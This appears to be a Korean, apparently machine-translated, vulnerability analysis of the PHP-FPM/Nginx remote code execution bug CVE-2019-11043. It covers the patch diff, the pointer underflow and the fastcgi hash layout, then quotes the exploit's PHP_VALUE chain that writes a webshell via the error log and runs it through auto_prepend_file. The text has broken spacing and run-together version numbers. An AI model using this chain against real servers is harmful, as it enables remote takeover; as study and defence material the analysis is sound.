건식 | CVE - 2019 - 11043: PHP - FPM 이 Nginx 특정 설정 에서 임의의 코드 실행 구멍 분석
13586 단어 php 개발
Flag) 기간 에 우연히 php - fpm 구성 요소 가 특정 요청 을 처리 할 때 결함 이 있 음 을 발 견 했 습 니 다. 특정 Nginx 설정 에서 특정 구조의 요청 은 php - fpm 처리 이상 을 초래 하여 원 격 으로 임의의 코드 를 실행 할 수 있 습 니 다.현재 저 자 는 github 에 관련 구멍 정보 와 자동화 이용 프로그램 을 발표 했다.Nginx + PHP 조합 이 웹 응용 개발 분야 에서 매우 높 은 시장 점유 율 을 가지 고 있 음 을 감안 하면 이 빈틈 의 영향 범 위 는 비교적 광범 위 하 다.
구멍 개술
PHP - FPM 은 Nginx 특정 설정 에 임의의 코드 실행 구멍 이 있 습 니 다.구체 적 으로: Nginx + PHP - FPM 으로 구 축 된 서버 가 다음 설정 과 유사 한 nginx. conf 를 사용 할 때:
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
Nginx 중 fastcgisplit_path_info "n" (% oA) 이 존재 하 는 path 처리 중info 시 PHP - FPM 에 전달 되 는 PATHINFO 가 비어 있 음 (PATH INFO = ") 은 관건 적 인 지침 의 지향 에 영향 을 주어 후속 path info [0] = 0 의 제로 조작 위 치 를 제어 할 수 있 게 하고 특정한 길이 와 내용 을 구성 하 라 는 요청 을 통 해 특정 위치 데 이 터 를 덮어 쓰 고 특정 환경 변 수 를 삽입 하여 코드 가 실 행 될 수 있다.
구멍 분석
우선, 패 치 분석: request info 구조 체 를 초기 화 하 는 static void init request info (void) 함수 에 pilen 과 slen 의 크기 검 사 를 추가 하여 포인터 의 예상 치 못 한 역 추적 이동 을 피 합 니 다.
// php-src/sapi/fpm/fpm/fpm_main.c
...
if (pt) {
while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
// PATH_INFO 。 , PATH_INFO
*ptr = 0;
f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH
int slen = len - ptlen; //script length
int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 0
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
- path_info = env_path_info ? env_path_info + pilen - slen : NULL; // env_path_info,
- tflag = (orig_path_info != path_info);
+ path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
+ tflag = path_info && (orig_path_info != path_info);
}
if (tflag) {
if (orig_path_info) {
char old;
FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
old = path_info[0];
path_info[0] = 0; //
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
}
...
그 속
// http://localhost/info.php/test?a=b
PATH_INFO=/test
PATH_TRANSLATED=/docroot/info.php/test
SCRIPT_NAME=/info.php
REQUEST_URI=/info.php/test?a=b
SCRIPT_FILENAME=/docroot/info.php
QUERY_STRING=a=b
pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"
len = script_path_translated_len // "/docroot/info.php/test"
//
int ptlen = strlen(pt); // strlen("/docroot/info.php")
int pilen = env_path_info ? strlen(env_path_info) : 0; // len(PATH_INFO) "/test"
int slen = len - ptlen; // len("/test")
path_info = env_path_info + pilen - slen; // pilen 0 slen, 0 -N
PATH INFO 가 비어 있 을 때 path info 는 앞으로 이동 하고, 길이 가 test 인 길 이 를 가리 키 고 있 음 을 알 수 있 습 니 다. 더 나 아가 path info [0]= 0; 특정 위 치 를 단일 바이트 로 0 으로 설정 할 수 있 습 니 다. 단, 일반 위 치 를 0 으로 설정 하 는 것 은 RCE 를 만 들 지 않 습 니 다. 특정 제어 위 치 를 0 으로 설정 해 야 하 며, 이 제어 위 치 는 마침 기록 위 치 를 제어 할 수 있 습 니 다. request - > env - > data - > pos 가 바로 이러한 위치 입 니 다. 각 변수의 저장 방식 을 설명해 야 합 니 다.
fastcgi 프로 토 콜 을 통 해 들 어 오 는 환경 변 수 는 fcgi request - > env 라 는 fcgi hash 구조 체 에 저 장 됩 니 다. 후속 실행 에 사용 할 수 있 습 니 다. 구 조 는 다음 과 같 습 니 다.
// php-src/sapi/fpm/fpm/fastcgi.c
typedef struct _fcgi_hash_bucket {
unsigned int hash_value;
unsigned int var_len;
char *var;
unsigned int val_len;
char *val;
struct _fcgi_hash_bucket *next;
struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;
typedef struct _fcgi_hash_buckets {
unsigned int idx;
struct _fcgi_hash_buckets *next;
struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets;
fcgi_data_seg *data;
} fcgi_hash;
...
/* hash table */
//
static void fcgi_hash_init(fcgi_hash *h)
{
memset(h->hash_table, 0, sizeof(h->hash_table));
h->list = NULL;
h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
h->buckets->idx = 0;
h->buckets->next = NULL;
h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // (4*8 - 1) + 4096
h->data->pos = h->data->data; //
h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; //data_seg
h->data->next = NULL;
}
...
그 중에서 우 리 는 주로 그 중의 get / set 작업 에 관심 을 가지 고 다음 과 같이 실현 합 니 다.
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
// FCGI_GETENV()
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
while (p != NULL) {
// hast_value ,var_len
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
// FCGI_PUTENV()
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // hash_value index
fcgi_hash_bucket *p = h->hash_table[idx]; // hash_table
while (UNEXPECTED(p != NULL)) {
if (UNEXPECTED(p->hash_value == hash_value) &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
p = p->next;
}
if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
b->idx = 0;
b->next = h->buckets;
h->buckets = b;
}
p = h->buckets->data + h->buckets->idx;
h->buckets->idx++;
p->next = h->hash_table[idx];
h->hash_table[idx] = p;
p->list_next = h->list;
h->list = p;
p->hash_value = hash_value;
p->var_len = var_len;
p->var = fcgi_hash_strndup(h, var, var_len);
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
// request->env->data, 。
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
// fcgi_hash_seg , fcgi_hash_seg
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;// , seg 。
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos;
memcpy(ret, str, str_len); // h->data->pos
ret[str_len] = 0;
h->data->pos += str_len + 1; // h->data->pos
return ret;
}
이 를 통 해 우 리 는 request - > env - > data - > pos 의 지향 은 우리 환경 변수 Key, Value 의 기록 위치 에 직접적인 영향 을 미 칠 수 있 습 니 다. char * pos 의 지향 을 제어 하면 기 존의 데 이 터 를 덮어 쓸 수 있 습 니 다. 단, RCE 를 달성 하려 면 다음 과 같은 요구 와 제한 이 있 습 니 다.
// http://localhost/index/info.php/test?a=b ,index
PATH_INFO=/test
PATH_TRANSLATED=/docroot/index/info.php/test
SCRIPT_NAME=/index/info.php
REQUEST_URI=/index/info.php/test?a=b
SCRIPT_FILENAME=/docroot/index/info.php
QUERY_STRING=a=b
pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"
len = script_path_translated_len // "/docroot/index/info.php/test"
//
int ptlen = strlen(pt); // strlen("/docroot/index")
int pilen = env_path_info ? strlen(env_path_info) : 0; // len(PATH_INFO) "/test"
int slen = len - ptlen; // len("/info.php/test ")
path_info = env_path_info + pilen - slen; // pilen < slen, -N
이때 URL 에% 0A 가 존재 하지 않 아 도 포인터 이동 을 완성 할 수 있 습 니 다. 구멍 과정 은 상기 와 유사 하지만 script name 이 잘못 되 어 공격 상 태 를 직관 적 으로 표시 할 수 없고 이용 난이도 가 높 으 며 더 이상 군말 하지 않 습 니 다.
path info 는 request - > env - > data - > pos 후의 메모리 레이아웃 을 가리 키 고 있 습 니 다.
빈틈 이용
Exp 작성 자 는 PHP VALUE 를 이용 하여 PHP 에 여러 환경 변 수 를 전달 하여 PHP 에 오 류 를 일 으 키 고 오류 로그 형식 으로 웹 셸 을 / tmp / a 로 출력 하 며 auto prepend file 을 통 해 / tmp / a 의 악성 코드 를 자동 으로 실행 하여 getshell 에 도달 합 니 다.
var chain = []string{
"short_open_tag=1", // php
"html_errors=0", // HTML 。
"include_path=/tmp", //
"auto_prepend_file=a", // , require()。
"log_errors=1", //
"error_reporting=2", //
"error_log=/tmp/a", //
"extension_dir=\"=\`\"", // extension
"extension=\"$_GET[a]\`?>\"", // extension
}
영향 범위
글 에서 언급 한 설정 에서 이 빈틈 은 다음 버 전의 PHP: 7.1. x < 7.1.337.2. x < 7.2.247.3. x < 7.3.11
구멍 복구
Nginx 를 통 해 try files% uri = 404 php 설정 cgi. fix pathinfo = 0 옵션 을 추가 하여 구멍 의 영향 을 임시로 피 할 수 있 습 니 다. 공식 적 으로 풀 어 놓 은 업 데 이 트 를 사용 하여 완전히 복구 할 수도 있 습 니 다.
경 동 운 - waF 는 현재 이 구멍 에 대한 방 호 를 지원 하고 [읽 기] 를 클릭 하여 더 많은 제품 정 보 를 얻 을 수 있 습 니 다.
'경 동 운' 에 오신 걸 환영 합 니 다.